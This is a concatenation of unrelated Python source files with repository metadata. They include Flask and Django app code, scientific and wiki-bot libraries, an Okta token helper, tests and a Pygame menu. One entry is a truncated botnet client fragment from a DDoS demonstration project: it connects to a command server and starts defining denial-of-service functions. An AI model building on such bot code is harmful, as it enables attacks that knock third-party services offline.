2156d626cca5172c098911f8f87121b702a8db66 | 1,455 | py | Python | api/routes/user_router.py | cgiroux86/TeamInterview | c59285479298f84543f80bb9f00a01bc4cef3eb1 | [
"MIT"
] | 1 | 2020-08-31T16:19:11.000Z | 2020-08-31T16:19:11.000Z | api/routes/user_router.py | cgiroux86/TeamInterview | c59285479298f84543f80bb9f00a01bc4cef3eb1 | [
"MIT"
] | null | null | null | api/routes/user_router.py | cgiroux86/TeamInterview | c59285479298f84543f80bb9f00a01bc4cef3eb1 | [
"MIT"
] | null | null | null | from flask import Blueprint, request, jsonify
from api.models.user_model import User, UserPasswords, db
from flask_bcrypt import Bcrypt
user_bp = Blueprint('user_bp', __name__)
def validate_register_fields(req):
data = req.get_json(silent=True)
fields = ['first_name', 'last_name', 'email', 'password']
for... | 26.944444 | 79 | 0.586942 | 0 | 0 | 0 | 0 | 1,048 | 0.720275 | 0 | 0 | 201 | 0.138144 |
21576ca913a2e8ef3710dd05fb4bd6133094790a | 126 | py | Python | image/apps.py | DaleProctor/tscharts | 5447395e0aef0b949bef8426febdec2093cf37ef | [
"Apache-2.0"
] | 16 | 2016-08-17T21:39:10.000Z | 2021-11-24T12:14:28.000Z | image/apps.py | DaleProctor/tscharts | 5447395e0aef0b949bef8426febdec2093cf37ef | [
"Apache-2.0"
] | 55 | 2017-04-23T18:12:04.000Z | 2021-08-08T08:25:18.000Z | image/apps.py | DaleProctor/tscharts | 5447395e0aef0b949bef8426febdec2093cf37ef | [
"Apache-2.0"
] | 8 | 2017-08-11T02:11:46.000Z | 2021-07-06T22:58:42.000Z | from __future__ import unicode_literals
from django.apps import AppConfig
class ImageConfig(AppConfig):
name = 'image'
| 15.75 | 39 | 0.785714 | 48 | 0.380952 | 0 | 0 | 0 | 0 | 0 | 0 | 7 | 0.055556 |
2157f3814f7d8209f817a39c3187e97678374518 | 829 | py | Python | pysatSeasons/__init__.py | pysat/pysatSeasons | b6f8b51908c6ac882bd3e04d7b378aea7e9a29e0 | [
"BSD-3-Clause"
] | 1 | 2022-01-20T16:54:14.000Z | 2022-01-20T16:54:14.000Z | pysatSeasons/__init__.py | pysat/pysatSeasons | b6f8b51908c6ac882bd3e04d7b378aea7e9a29e0 | [
"BSD-3-Clause"
] | 20 | 2019-09-18T18:36:17.000Z | 2022-03-25T15:20:45.000Z | pysatSeasons/__init__.py | pysat/pysatSeasons | b6f8b51908c6ac882bd3e04d7b378aea7e9a29e0 | [
"BSD-3-Clause"
] | 1 | 2021-08-19T21:23:25.000Z | 2021-08-19T21:23:25.000Z | """
pysatSeasons is a pysat module that provides
the interface to perform seasonal analysis on
data managed by pysat. These analysis methods
are independent of instrument type.
Main Features
-------------
- Seasonal averaging routine for 1D and 2D data.
- Occurrence probability routines, daily or by orbit.
- Scatterp... | 29.607143 | 63 | 0.758745 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 515 | 0.62123 |
21580e11b7b3c340d5a15b0afb7ec4fba7b381f0 | 2,033 | py | Python | ATTACKS/python-botnet/Client.py | sofiafernandezmoreno/tfm_ddos_demo | 37250cfb759053c70f0736d1712aac3c7fcfb84f | [
"MIT"
] | 3 | 2020-07-23T16:35:45.000Z | 2020-07-27T07:22:56.000Z | ATTACKS/python-botnet/Client.py | sofiafernandezmoreno/tfm_ddos_demo | 37250cfb759053c70f0736d1712aac3c7fcfb84f | [
"MIT"
] | 17 | 2020-07-28T05:46:24.000Z | 2022-01-13T15:31:15.000Z | ATTACKS/python-botnet/Client.py | sofiafernandezmoreno/tfm_ddos_demo | 37250cfb759053c70f0736d1712aac3c7fcfb84f | [
"MIT"
] | 1 | 2020-07-28T05:54:18.000Z | 2020-07-28T05:54:18.000Z | import subprocess
import threading
import time
import socket
import os, sys, random
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '127.0.0.1'
port = 9998
s.connect((host, port))
def ddos(*args):
def dos(*args):
... | 33.883333 | 69 | 0.434825 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 163 | 0.080177 |
21592f645f3fb1e73877f1f9296f16cd49e80115 | 26,629 | py | Python | neml/axisym.py | ajey091/neml | 23dd2cdb83057fdd17a37fa19f4592c54f821dbf | [
"MIT"
] | 6 | 2020-05-06T17:04:29.000Z | 2021-08-03T20:02:22.000Z | neml/axisym.py | ajey091/neml | 23dd2cdb83057fdd17a37fa19f4592c54f821dbf | [
"MIT"
] | 66 | 2018-10-26T01:32:43.000Z | 2022-02-01T03:02:18.000Z | neml/axisym.py | ajey091/neml | 23dd2cdb83057fdd17a37fa19f4592c54f821dbf | [
"MIT"
] | 14 | 2018-11-28T17:07:24.000Z | 2022-01-06T16:57:15.000Z | import numpy as np
import numpy.linalg as la
import scipy.linalg as sla
import scipy.linalg.lapack as lapack
from numpy.polynomial.legendre import leggauss as lgg
import scipy.optimize as opt
from neml import arbbar
from neml.math import nemlmath
from functools import partial
def generate_thickness_gradient(ri, ro, ... | 33.411543 | 126 | 0.5841 | 19,544 | 0.733937 | 0 | 0 | 0 | 0 | 0 | 0 | 8,203 | 0.308048 |
21593dd0c8f9b6bdb9136ba4fe0c6eb23a67adb7 | 5,184 | py | Python | helper.py | jayanthv86/okta_oauth | e9be796a2ecf2187c971804d9860cccf9b40d5d5 | [
"Apache-2.0"
] | null | null | null | helper.py | jayanthv86/okta_oauth | e9be796a2ecf2187c971804d9860cccf9b40d5d5 | [
"Apache-2.0"
] | null | null | null | helper.py | jayanthv86/okta_oauth | e9be796a2ecf2187c971804d9860cccf9b40d5d5 | [
"Apache-2.0"
] | null | null | null | from functools import wraps
from base64 import b64encode
from jose import jwt
from flask import Flask, jsonify, request, _app_ctx_stack, json
import requests
ALGORITHMS = ["RS256"]
SCOPES = 'username' # Custom scopes that you want to pass as part of the request when requesting access token
AUTH_SERVER_ID = 'YOUR_OKTA_... | 39.572519 | 145 | 0.574846 | 0 | 0 | 0 | 0 | 1,881 | 0.362847 | 0 | 0 | 1,584 | 0.305556 |
215aad09216d33e48ee72eef419bf4b1dbea80ce | 1,383 | py | Python | Ch10/test/singly_circular_list_dictionary_test.py | Ryuichi-Sasaki/CLRS | 3ae6f2c9554d2dffff0ea8f6f6e162fcdcf8f7e9 | [
"MIT"
] | null | null | null | Ch10/test/singly_circular_list_dictionary_test.py | Ryuichi-Sasaki/CLRS | 3ae6f2c9554d2dffff0ea8f6f6e162fcdcf8f7e9 | [
"MIT"
] | null | null | null | Ch10/test/singly_circular_list_dictionary_test.py | Ryuichi-Sasaki/CLRS | 3ae6f2c9554d2dffff0ea8f6f6e162fcdcf8f7e9 | [
"MIT"
] | null | null | null | import unittest
import sys
sys.path.append("../src/")
from singly_circular_list_dictionary import SinglyLinkedDictionary
from singly_circular_list_dictionary import Item
class TestSinglyLinkedDictionary(unittest.TestCase):
def test_insert_search(self):
d = SinglyLinkedDictionary()
self.assertEqual... | 26.09434 | 66 | 0.595083 | 1,162 | 0.840202 | 0 | 0 | 0 | 0 | 0 | 0 | 19 | 0.013738 |
215b643496a981463dbb6c2efc37c1fc0cfbec6d | 132,394 | py | Python | pywikibot/page.py | shizhao/pywikibot-core | 8441a1cd0e8dd5d3701f1c5e26077e40a40937ee | [
"MIT"
] | null | null | null | pywikibot/page.py | shizhao/pywikibot-core | 8441a1cd0e8dd5d3701f1c5e26077e40a40937ee | [
"MIT"
] | null | null | null | pywikibot/page.py | shizhao/pywikibot-core | 8441a1cd0e8dd5d3701f1c5e26077e40a40937ee | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Objects representing various types of MediaWiki pages.
"""
#
# (C) Pywikipedia bot team, 2008-2013
#
# Distributed under the terms of the MIT license.
#
__version__ = '$Id: 215b643496a981463dbb6c2efc37c1fc0cfbec6d $'
import pywikibot
from pywikibot import deprecate_arg
from pywikibot impor... | 39.865703 | 139 | 0.564376 | 127,629 | 0.963689 | 11,363 | 0.085799 | 38,841 | 0.293277 | 0 | 0 | 57,723 | 0.435849 |
215cd5bf7186cb7862f31ba8192f08a8d22a420f | 36 | py | Python | scratch.py | stevoWinke1/python | 70649dd2a3801584af1394b0a68e6f1befa39ef2 | [
"MIT"
] | null | null | null | scratch.py | stevoWinke1/python | 70649dd2a3801584af1394b0a68e6f1befa39ef2 | [
"MIT"
] | null | null | null | scratch.py | stevoWinke1/python | 70649dd2a3801584af1394b0a68e6f1befa39ef2 | [
"MIT"
] | 9 | 2016-10-14T15:22:31.000Z | 2016-10-14T15:50:47.000Z |
list = ['a','b','c']
print(list)
| 6 | 20 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 | 0.25 |
215ce8afda1e2319b0046be91c38693bb6794dde | 4,065 | py | Python | src/human_play.py | rajko-z/nine-mans-morris-python | 2ffa20b9baf4d2aed985552d03910ace299a121e | [
"MIT"
] | 1 | 2021-04-14T17:31:03.000Z | 2021-04-14T17:31:03.000Z | src/human_play.py | rajko-z/nine-mans-morris-python | 2ffa20b9baf4d2aed985552d03910ace299a121e | [
"MIT"
] | null | null | null | src/human_play.py | rajko-z/nine-mans-morris-python | 2ffa20b9baf4d2aed985552d03910ace299a121e | [
"MIT"
] | null | null | null | from copy import deepcopy
import heuristic_state_functions as h
import global_config as g
import pretty_print as pp
from state import State
import main
def human_play_mill(state):
old_state_board = deepcopy(state.board)
print()
pp.print_table(state.board)
br = 0
possibilities = []
for i in range(24):
if not ... | 23.362069 | 110 | 0.682657 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 795 | 0.195572 |
215ddbe5f26e8bb8a19212d071a47be6b9e84f1f | 552 | py | Python | Practise/Python/Collections/collections.Counter().py | FurkhanShaikh/HackerRank-My-Solutions | 3498d15f5cb218200d9f0548cfe938a0aaab9b27 | [
"MIT"
] | null | null | null | Practise/Python/Collections/collections.Counter().py | FurkhanShaikh/HackerRank-My-Solutions | 3498d15f5cb218200d9f0548cfe938a0aaab9b27 | [
"MIT"
] | null | null | null | Practise/Python/Collections/collections.Counter().py | FurkhanShaikh/HackerRank-My-Solutions | 3498d15f5cb218200d9f0548cfe938a0aaab9b27 | [
"MIT"
] | null | null | null | #problem link : https://www.hackerrank.com/challenges/collections-counter/problem
# Enter your code here. Read input from STDIN. Print output to STDOUT
from collections import Counter
X = int(raw_input())
sizes = map(int,raw_input().split())
cust = int(raw_input())
desired =[]
for i in range(cust):
temp = map(int,... | 26.285714 | 81 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 150 | 0.271739 |
216053aaf8b29fc8b35d155e70516ea38c7964da | 142 | py | Python | homecam.py | stigmarl/flask-homecam | cb56b4dff468faa8f1020e9504a03aae0072ceba | [
"MIT"
] | null | null | null | homecam.py | stigmarl/flask-homecam | cb56b4dff468faa8f1020e9504a03aae0072ceba | [
"MIT"
] | null | null | null | homecam.py | stigmarl/flask-homecam | cb56b4dff468faa8f1020e9504a03aae0072ceba | [
"MIT"
] | null | null | null | from app import create_app, db
app = create_app()
@app.shell_context_processor
def make_shell_context():
return {'app': app, 'db': db}
| 15.777778 | 33 | 0.711268 | 0 | 0 | 0 | 0 | 88 | 0.619718 | 0 | 0 | 9 | 0.06338 |
216075410bdf65b4cfa98dc5604abc1c889ef2b2 | 3,288 | py | Python | dtargs.py | petedmarsh/dtargs | 6d3ae82f7ae9f865212f7f4f6c85d4aef31d0671 | [
"MIT"
] | null | null | null | dtargs.py | petedmarsh/dtargs | 6d3ae82f7ae9f865212f7f4f6c85d4aef31d0671 | [
"MIT"
] | null | null | null | dtargs.py | petedmarsh/dtargs | 6d3ae82f7ae9f865212f7f4f6c85d4aef31d0671 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import argparse
import pytz
from datetime import datetime
class DateType(object):
"""Factory for creating datetime.date object types
Instances of DateType are typically passed as type= arguments to the
ArgumentParser add_argument() method.
:param date_format: A date format s... | 39.142857 | 79 | 0.615268 | 3,199 | 0.972932 | 0 | 0 | 0 | 0 | 0 | 0 | 1,879 | 0.571472 |
216118178f22c620e11f9953a3111b92a4f5fc5d | 2,683 | py | Python | pykeops/numpy/lazytensor/LazyTensor.py | Rama27SepIBM/keops | bf71b2afea7b23a6788c38745846cf9f1dffd93a | [
"MIT"
] | 1 | 2021-04-20T09:04:21.000Z | 2021-04-20T09:04:21.000Z | pykeops/numpy/lazytensor/LazyTensor.py | Rama27SepIBM/keops | bf71b2afea7b23a6788c38745846cf9f1dffd93a | [
"MIT"
] | null | null | null | pykeops/numpy/lazytensor/LazyTensor.py | Rama27SepIBM/keops | bf71b2afea7b23a6788c38745846cf9f1dffd93a | [
"MIT"
] | 1 | 2021-04-06T16:36:30.000Z | 2021-04-06T16:36:30.000Z | import numpy as np
from pykeops.common.lazy_tensor import GenericLazyTensor
from pykeops.numpy.utils import numpytools
# Convenient aliases:
def Var(x_or_ind, dim=None, cat=None):
if dim is None:
# init via data: we assume x_or_ind is data
return LazyTensor(x_or_ind, axis=cat)
else:
... | 30.83908 | 87 | 0.654119 | 1,766 | 0.658218 | 0 | 0 | 0 | 0 | 0 | 0 | 1,320 | 0.491987 |
2161360bfb81e040502ee6b62c38a124e41869d0 | 15,947 | py | Python | src/legUp_v2.py | mjaquiery/legUp | ec1555ecb8b396cad109ad0b9d4ce0086295f8ef | [
"MIT"
] | null | null | null | src/legUp_v2.py | mjaquiery/legUp | ec1555ecb8b396cad109ad0b9d4ce0086295f8ef | [
"MIT"
] | null | null | null | src/legUp_v2.py | mjaquiery/legUp | ec1555ecb8b396cad109ad0b9d4ce0086295f8ef | [
"MIT"
] | null | null | null | """
Updated on Sun Feb 25 15:26 2018
- tkinter library used to enable file selection dialogues for loading data and saving output
- options now specified with a dialogue box rather than a command line
Created on Thu Feb 06 17:29:27 2015
This program takes csv files containing voltage readings
(20,000 of them per file)... | 32.216162 | 128 | 0.612466 | 2,165 | 0.135762 | 0 | 0 | 0 | 0 | 0 | 0 | 5,472 | 0.343137 |
21614ce4ba8fe5009d765fbf8cc775a72c5b4840 | 2,553 | py | Python | clismo/sim/client_server_model.py | jmorgadov/clismo | 1200a5115eef5b2e1801bd1768c78191220ae0e2 | [
"MIT"
] | 2 | 2022-02-19T22:11:30.000Z | 2022-02-23T18:22:56.000Z | clismo/sim/client_server_model.py | jmorgadov/clismo | 1200a5115eef5b2e1801bd1768c78191220ae0e2 | [
"MIT"
] | null | null | null | clismo/sim/client_server_model.py | jmorgadov/clismo | 1200a5115eef5b2e1801bd1768c78191220ae0e2 | [
"MIT"
] | null | null | null | from queue import PriorityQueue
from typing import Callable, List
class Server:
def __init__(self, func: Callable, cost: float = 1.0):
self.func = func
self.cost = cost
class ClientServerModel:
def __init__(
self,
arrival_func: Callable,
servers: List[Server],
... | 35.957746 | 86 | 0.541324 | 2,481 | 0.971798 | 0 | 0 | 0 | 0 | 0 | 0 | 127 | 0.049745 |
21618cc54a6c2516a96f053ea9a88f8e38e43a1b | 98 | py | Python | genoome/color_aliases/admin.py | jiivan/genoomy | e71fdd7ef7440e41efd8e245bbdb61f11b896be5 | [
"MIT"
] | null | null | null | genoome/color_aliases/admin.py | jiivan/genoomy | e71fdd7ef7440e41efd8e245bbdb61f11b896be5 | [
"MIT"
] | 2 | 2016-01-19T13:09:05.000Z | 2017-03-15T13:49:02.000Z | genoome/color_aliases/admin.py | jiivan/genoomy | e71fdd7ef7440e41efd8e245bbdb61f11b896be5 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import ColorAlias
admin.site.register(ColorAlias)
| 16.333333 | 32 | 0.826531 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
21629f0708dae873e8a5adb69fcdb728a21e4126 | 315 | py | Python | app/gql/__init__.py | yoshiya0503/flask-graphQL-example | 469bc38d183ebb0ed7e9a14427d813cb1fdb3b3e | [
"MIT"
] | null | null | null | app/gql/__init__.py | yoshiya0503/flask-graphQL-example | 469bc38d183ebb0ed7e9a14427d813cb1fdb3b3e | [
"MIT"
] | null | null | null | app/gql/__init__.py | yoshiya0503/flask-graphQL-example | 469bc38d183ebb0ed7e9a14427d813cb1fdb3b3e | [
"MIT"
] | null | null | null | #! /usr/bin/env python3
# -*- encoding: utf-8 -*-
"""
schema object
schema
"""
__author__ = 'Yoshiya Ito <myon53@gmail.com>'
__version__ = '1.0.0'
__date__ = '2019-12-02'
import graphene
from app.gql.query import Query
from app.gql.mutation import Mutation
schema = graphene.Schema(query=Query, mutation=Mutation)
| 21 | 56 | 0.72381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 127 | 0.403175 |
216485c38366b8711003ea1f47b4b3d0d3777fa3 | 25,526 | py | Python | tests/test_operands.py | cu2/aldebaran | affd692bd568cdb5a3a1840c6bc02b5197da1064 | [
"MIT"
] | 4 | 2018-11-20T07:31:48.000Z | 2020-12-29T22:04:03.000Z | tests/test_operands.py | cu2/aldebaran | affd692bd568cdb5a3a1840c6bc02b5197da1064 | [
"MIT"
] | 7 | 2020-09-04T22:49:12.000Z | 2022-02-26T11:19:39.000Z | tests/test_operands.py | cu2/aldebaran | affd692bd568cdb5a3a1840c6bc02b5197da1064 | [
"MIT"
] | null | null | null | import unittest
from unittest.mock import Mock
from instructions.operands import (
Operand, OpLen, OpType,
get_operand_opcode, parse_operand_buffer,
get_operand_value, set_operand_value,
_get_reference_address, _get_opbyte,
_get_register_code_by_name, _get_register_name_by_code,
InvalidRegister... | 44.315972 | 114 | 0.653882 | 24,913 | 0.975985 | 0 | 0 | 0 | 0 | 0 | 0 | 306 | 0.011988 |
2165794335ca95279cca6df02ac540918b551bc8 | 1,096 | py | Python | event_loop/cancel_task.py | lishulongVI/Ilhabela | 12e97ad2c239038bca0aaecc037beba7f7d3715a | [
"MIT"
] | null | null | null | event_loop/cancel_task.py | lishulongVI/Ilhabela | 12e97ad2c239038bca0aaecc037beba7f7d3715a | [
"MIT"
] | null | null | null | event_loop/cancel_task.py | lishulongVI/Ilhabela | 12e97ad2c239038bca0aaecc037beba7f7d3715a | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
@contact: lishulong.never@gmail.com
@time: 2019/3/25 下午9:43
"""
import asyncio
async def consume():
print('start consume...')
await asyncio.sleep(10)
print('end consume...')
if __name__ == '__main__':
tasks = [consume() for i in range(10)]
loop = asyncio.get_event_... | 15.884058 | 59 | 0.663321 | 0 | 0 | 0 | 0 | 0 | 0 | 107 | 0.097273 | 616 | 0.56 |
2167face4e0d997c82f580f3b2a66b5b2585ee56 | 762 | py | Python | testTF.py | acsstudios/assgnopts | 0a754861b47b56992fad1cb8026260be39e8f765 | [
"MIT"
] | 1 | 2021-09-09T10:03:55.000Z | 2021-09-09T10:03:55.000Z | testTF.py | acsstudios/assgnopts | 0a754861b47b56992fad1cb8026260be39e8f765 | [
"MIT"
] | null | null | null | testTF.py | acsstudios/assgnopts | 0a754861b47b56992fad1cb8026260be39e8f765 | [
"MIT"
] | null | null | null | # Importing required libraries
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.preprocessing.text import Tokenizer
# List of sample sentences that we want to tokenize
sentences = ['I love my dog',
'I love my cat',
'you love my dog!',
'Do you think my d... | 28.222222 | 57 | 0.695538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 268 | 0.351706 |
2168d2e3e100b833c3bdb3e0fda3939272c31053 | 7,953 | py | Python | harjoitustyo/src/ui/views/menu_view.py | ronituohino/ohte-harjoitustyo | 18eb9033c285d6f826ae0bafe5fec9319401eb82 | [
"MIT"
] | null | null | null | harjoitustyo/src/ui/views/menu_view.py | ronituohino/ohte-harjoitustyo | 18eb9033c285d6f826ae0bafe5fec9319401eb82 | [
"MIT"
] | null | null | null | harjoitustyo/src/ui/views/menu_view.py | ronituohino/ohte-harjoitustyo | 18eb9033c285d6f826ae0bafe5fec9319401eb82 | [
"MIT"
] | null | null | null | import os
from os.path import isfile, join
import pygame
from ui.view import View
from ui.components.button import Button
from ui.components.text import render, blit, text
from ui.components.box import box
from services.menu import Menu
class MenuView(View):
"""Luokka päävalikkonäkymälle
Attributes:
... | 30.825581 | 85 | 0.406262 | 7,730 | 0.969887 | 0 | 0 | 0 | 0 | 0 | 0 | 763 | 0.095734 |
2169433be713fc577361a94f5719a5780017349f | 1,238 | py | Python | Study/interesting_program/test.py | pynickle/awesome-python-tools | e405fb8d9a1127ae7cd5bcbd6481da78f6f1fb07 | [
"BSD-2-Clause"
] | 21 | 2019-06-02T01:55:14.000Z | 2022-01-08T22:35:31.000Z | Study/interesting_program/test.py | code-nick-python/awesome-daily-tools | e405fb8d9a1127ae7cd5bcbd6481da78f6f1fb07 | [
"BSD-2-Clause"
] | 3 | 2019-06-02T01:55:17.000Z | 2019-06-14T12:32:06.000Z | Study/interesting_program/test.py | code-nick-python/awesome-daily-tools | e405fb8d9a1127ae7cd5bcbd6481da78f6f1fb07 | [
"BSD-2-Clause"
] | 16 | 2019-06-23T13:00:04.000Z | 2021-09-18T06:09:58.000Z | """
Copyright: Copyright (c) 2019
License : WTFPL License
owner : pynickle
title : amazing-python study projects
description : projects for studying python
"""
import sys
import io
import unittest
import importlib
def stub_stdin(testcase_inst, inputs):
stdin = sys.stdin
def cleanup():
sys.stdin = std... | 24.76 | 75 | 0.679321 | 341 | 0.275444 | 0 | 0 | 0 | 0 | 0 | 0 | 334 | 0.26979 |
216bb3640cb2bccd362d7ee3d859fa96b2df5029 | 4,437 | py | Python | ssl_joystick_operation/scripts/joystick_node.py | SSL-Roots/CON-SAI | dbe60090441547df3d31c87db948c8822b07bfb1 | [
"MIT"
] | 28 | 2017-08-15T03:38:53.000Z | 2021-11-25T02:11:05.000Z | ssl_joystick_operation/scripts/joystick_node.py | SSL-Roots/CON-SAI | dbe60090441547df3d31c87db948c8822b07bfb1 | [
"MIT"
] | 41 | 2017-08-17T07:48:18.000Z | 2019-07-23T04:36:37.000Z | ssl_joystick_operation/scripts/joystick_node.py | SSL-Roots/CON-SAI | dbe60090441547df3d31c87db948c8822b07bfb1 | [
"MIT"
] | 8 | 2017-08-27T14:46:05.000Z | 2021-03-07T07:05:46.000Z | #!/usr/bin/env python
import rospy
import socket
import math
from std_msgs.msg import String
from std_msgs.msg import Time
from std_msgs.msg import UInt8
from std_msgs.msg import UInt32
from sensor_msgs.msg import Joy
from consai_msgs.msg import robot_commands
import topic_tools.srv
# import ssl_refbox.msg
class Bu... | 28.811688 | 78 | 0.615731 | 2,969 | 0.669146 | 0 | 0 | 0 | 0 | 0 | 0 | 1,160 | 0.261438 |
216c3e584bf0ccf79b7676172b319c96938d2937 | 189 | py | Python | pythontutorials/Udacity/CS101/Lesson 02 - Problem Set/Q6-Bodacious Udacity.py | JoseALermaIII/python-tutorials | 9d6cb78beec0bb55e27c49da1217317ba4d5f4fc | [
"MIT"
] | 2 | 2017-04-20T02:57:19.000Z | 2018-10-12T20:15:47.000Z | pythontutorials/Udacity/CS101/Lesson 02 - Problem Set/Q6-Bodacious Udacity.py | JoseALermaIII/python-tutorials | 9d6cb78beec0bb55e27c49da1217317ba4d5f4fc | [
"MIT"
] | 8 | 2021-03-18T21:50:16.000Z | 2022-03-11T23:38:01.000Z | pythontutorials/Udacity/CS101/Lesson 02 - Problem Set/Q6-Bodacious Udacity.py | JoseALermaIII/python-tutorials | 9d6cb78beec0bb55e27c49da1217317ba4d5f4fc | [
"MIT"
] | 3 | 2018-08-30T20:30:50.000Z | 2022-01-18T13:40:51.000Z | # Given the variables s and t defined as:
s = 'udacity'
t = 'bodacious'
# write Python code that prints out udacious
# without using any quote characters in
# your code.
print s[0] + t[2:]
| 23.625 | 44 | 0.708995 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 156 | 0.825397 |
216c848e1ddcba2e2b04e531b179a3e5a5e41621 | 9,527 | py | Python | datasets/classification.py | billhhh/model-quantization-1 | e816c3ffd36426810e31de04dfdec1894a600c2d | [
"BSD-2-Clause"
] | 66 | 2020-07-28T06:28:59.000Z | 2022-03-30T03:34:31.000Z | datasets/classification.py | billhhh/model-quantization-1 | e816c3ffd36426810e31de04dfdec1894a600c2d | [
"BSD-2-Clause"
] | 5 | 2021-07-07T10:12:15.000Z | 2021-08-19T11:30:45.000Z | datasets/classification.py | billhhh/model-quantization-1 | e816c3ffd36426810e31de04dfdec1894a600c2d | [
"BSD-2-Clause"
] | 17 | 2021-03-11T09:54:16.000Z | 2022-03-22T13:06:12.000Z |
import torch
import torchvision
import torchvision.transforms as transforms
import torchvision.datasets as datasets
import os
import numpy as np
from PIL import Image, ImageFile
class Lighting(object):
"""Lighting noise(AlexNet - style PCA - based noise)"""
def __init__(self, alphastd, eigval, eigvec):
... | 38.727642 | 157 | 0.601868 | 3,461 | 0.363283 | 0 | 0 | 0 | 0 | 0 | 0 | 1,786 | 0.187467 |
dcbe7f19c1dbf983d47755b3e4b05e87bf1bdbd3 | 42 | py | Python | selection.py | JOkendo/PythonPrograms | f8520bbedfe8a1d967f61108c5a24b07f56c7d91 | [
"MIT"
] | null | null | null | selection.py | JOkendo/PythonPrograms | f8520bbedfe8a1d967f61108c5a24b07f56c7d91 | [
"MIT"
] | null | null | null | selection.py | JOkendo/PythonPrograms | f8520bbedfe8a1d967f61108c5a24b07f56c7d91 | [
"MIT"
] | null | null | null | marks = 70
if num > 50:
print("pass!") | 14 | 18 | 0.547619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 | 0.166667 |
dcbe975027f4df9e2601fd2aaf93136cc3a06d31 | 1,181 | py | Python | examples/src/main/python/python_example.py | bensenberner/spline-spark-agent | b391bae118233f88f9f2f235d35d11d93055507e | [
"Apache-2.0"
] | 65 | 2020-01-09T08:30:35.000Z | 2022-03-29T11:02:01.000Z | examples/src/main/python/python_example.py | bensenberner/spline-spark-agent | b391bae118233f88f9f2f235d35d11d93055507e | [
"Apache-2.0"
] | 359 | 2020-01-03T15:47:38.000Z | 2022-03-21T14:22:30.000Z | examples/src/main/python/python_example.py | bensenberner/spline-spark-agent | b391bae118233f88f9f2f235d35d11d93055507e | [
"Apache-2.0"
] | 57 | 2020-03-30T09:16:47.000Z | 2022-03-18T19:55:18.000Z | #
# Copyright 2017 ABSA Group Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | 36.90625 | 115 | 0.740051 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 948 | 0.80271 |
dcbed17561796433a09061693546b7d9c9b7c335 | 314 | py | Python | scribedb/__init__.py | Decathlon/scribedb | 153ae8854bc77c33a799f2757a2d4629f3909f8c | [
"Apache-2.0"
] | 3 | 2020-03-17T09:13:50.000Z | 2020-07-17T08:30:07.000Z | scribedb/__init__.py | doc22940/scribedb | 153ae8854bc77c33a799f2757a2d4629f3909f8c | [
"Apache-2.0"
] | 5 | 2020-03-09T15:11:20.000Z | 2020-09-17T20:50:08.000Z | scribedb/__init__.py | doc22940/scribedb | 153ae8854bc77c33a799f2757a2d4629f3909f8c | [
"Apache-2.0"
] | 1 | 2020-04-08T01:02:20.000Z | 2020-04-08T01:02:20.000Z |
"""
scribeDB is a light tool which compares data at schema level.
Let us say we have two schemas deployed inside PostgreSQL
and Oracle RDBs.
A minimal usage example:
#
"""
from . import oracle, postgres, rdbms, scribedb
__version__ = '0.1.0'
__all__ = ['__version__', 'oracle', 'postgres', 'scribedb','rdbms']
| 20.933333 | 67 | 0.72293 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 226 | 0.719745 |
dcbfb218a75df60570bbac44effd705f21976a4c | 1,871 | py | Python | src/bot/xlparser/settings/config.py | delvinru/schedule | 4ef58b54d5df0aa06e123480f0fe4231295da873 | [
"MIT"
] | 2 | 2021-09-21T09:50:44.000Z | 2021-12-12T21:34:35.000Z | src/bot/xlparser/settings/config.py | delvinru/schedule | 4ef58b54d5df0aa06e123480f0fe4231295da873 | [
"MIT"
] | null | null | null | src/bot/xlparser/settings/config.py | delvinru/schedule | 4ef58b54d5df0aa06e123480f0fe4231295da873 | [
"MIT"
] | null | null | null | '''
Переменные настройки для parser.
'''
link_MireaSchedule = "https://www.mirea.ru/schedule/"
links_file = "links.txt"
first_september = [2021, 9, 1]
first_january = [2022, 1, 1]
semestr_start = [2021, 8, 30] # День отсчета начала семестра
block_tags = { # Список тегов, которые не будут обрабатыватся
"Коллед... | 27.925373 | 82 | 0.577231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,024 | 0.753818 |
dcc3791c6b08e46a11284b513cf249f26c00368b | 1,795 | py | Python | referals/platforms/crowdtangle.py | jakobbaek/link_collector | 18fa1083a876b653e345f35075402a415aa71b6d | [
"MIT"
] | null | null | null | referals/platforms/crowdtangle.py | jakobbaek/link_collector | 18fa1083a876b653e345f35075402a415aa71b6d | [
"MIT"
] | null | null | null | referals/platforms/crowdtangle.py | jakobbaek/link_collector | 18fa1083a876b653e345f35075402a415aa71b6d | [
"MIT"
] | null | null | null | import random
import requests
import time
class Crowdtangle:
def __init__(self,api_tokens=[]):
self.api_tokens = api_tokens
self.apiBaseUrl = "https://api.crowdtangle.com/ce/"
self.chromeAppVersion = "3.0.3"
self.userAgent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KH... | 33.867925 | 132 | 0.587744 | 1,751 | 0.975487 | 0 | 0 | 0 | 0 | 0 | 0 | 412 | 0.229526 |
dcc5d7422b6369c4250391267d3236a9759c0dea | 27 | py | Python | data/studio21_generated/introductory/4495/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
